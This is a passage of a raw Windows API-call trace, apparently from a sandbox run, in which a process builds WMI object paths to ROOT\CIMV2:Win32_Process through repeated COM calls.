ppv=0x1bb7d8b0*=0x1bba6b50) returned 0x0 [0155.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6b50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.873] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6b50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a7d0) returned 0x0 [0155.873] WbemDefPath:IUnknown:Release (This=0x1bba6b50) returned 0x0 [0155.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a7d0) returned 0x0 [0155.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.874] WbemDefPath:IUnknown:AddRef (This=0x1aa0a7d0) returned 0x3 [0155.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba6b10) returned 0x0 [0155.874] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6b10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.874] WbemDefPath:IUnknown:Release (This=0x1bba6b10) returned 0x3 [0155.874] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.874] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.874] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x2 [0155.874] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x1 [0155.874] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.874] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a7d0) returned 0x0 [0155.874] WbemDefPath:IUnknown:AddRef (This=0x1aa0a7d0) returned 0x3 [0155.875] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x2 [0155.875] WbemDefPath:IWbemPath:SetText (This=0x1aa0a7d0, uMode=0x4, pszPath="") returned 0x0 [0155.875] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a7d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.875] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a950, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.875] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0a7d0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0155.875] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a7d0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0155.875] WbemDefPath:IWbemPath:SetServer (This=0x1aa0a7d0, Name="Q9IATRKPRH") returned 0x0 [0155.875] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.875] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.875] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.875] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.877] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bba6b30) returned 0x0 [0155.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6b30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.877] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6b30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a710) returned 0x0 [0155.877] WbemDefPath:IUnknown:Release (This=0x1bba6b30) returned 0x0 [0155.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a710) returned 0x0 [0155.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.878] WbemDefPath:IUnknown:AddRef (This=0x1aa0a710) returned 0x3 [0155.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba6a70) returned 0x0 [0155.878] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6a70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.878] WbemDefPath:IUnknown:Release (This=0x1bba6a70) returned 0x3 [0155.878] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.878] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.878] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x2 [0155.878] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x1 [0155.878] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.878] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a710, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a710) returned 0x0 [0155.878] WbemDefPath:IUnknown:AddRef (This=0x1aa0a710) returned 0x3 [0155.878] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x2 [0155.878] WbemDefPath:IWbemPath:SetText (This=0x1aa0a710, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a7d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0155.879] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0a7d0) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a710, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a710, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0155.879] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a7d0, uIndex=0x0, pszName="ROOT") returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a710, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a710, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0155.879] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a7d0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0a7d0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0155.879] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0a7d0, Name="Win32_Process") returned 0x0 [0155.879] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a7d0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a7d0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a7d0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a7d0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.880] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0155.881] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0155.881] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0155.881] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0155.881] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0155.881] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0155.881] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0155.881] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.883] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bba6610) returned 0x0 [0155.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6610, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0155.883] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6610, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0a650) returned 0x0 [0155.883] WbemDefPath:IUnknown:Release (This=0x1bba6610) returned 0x0 [0155.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0a650) returned 0x0 [0155.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0155.884] WbemDefPath:IUnknown:AddRef (This=0x1aa0a650) returned 0x3 [0155.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0155.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0155.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bba6590) returned 0x0 [0155.884] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6590, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.884] WbemDefPath:IUnknown:Release (This=0x1bba6590) returned 0x3 [0155.884] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0155.884] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0155.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0155.884] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x2 [0155.884] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x1 [0155.884] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0155.884] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0155.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a650, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0a650) returned 0x0 [0155.884] WbemDefPath:IUnknown:AddRef (This=0x1aa0a650) returned 0x3 [0155.884] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x2 [0155.885] WbemDefPath:IWbemPath:SetText (This=0x1aa0a650, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0155.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.885] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0155.885] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.885] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.885] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.885] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.885] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.887] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bba69b0) returned 0x0 [0155.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.887] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba69b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a590) returned 0x0 [0155.887] WbemDefPath:IUnknown:Release (This=0x1bba69b0) returned 0x0 [0155.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a590) returned 0x0 [0155.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, 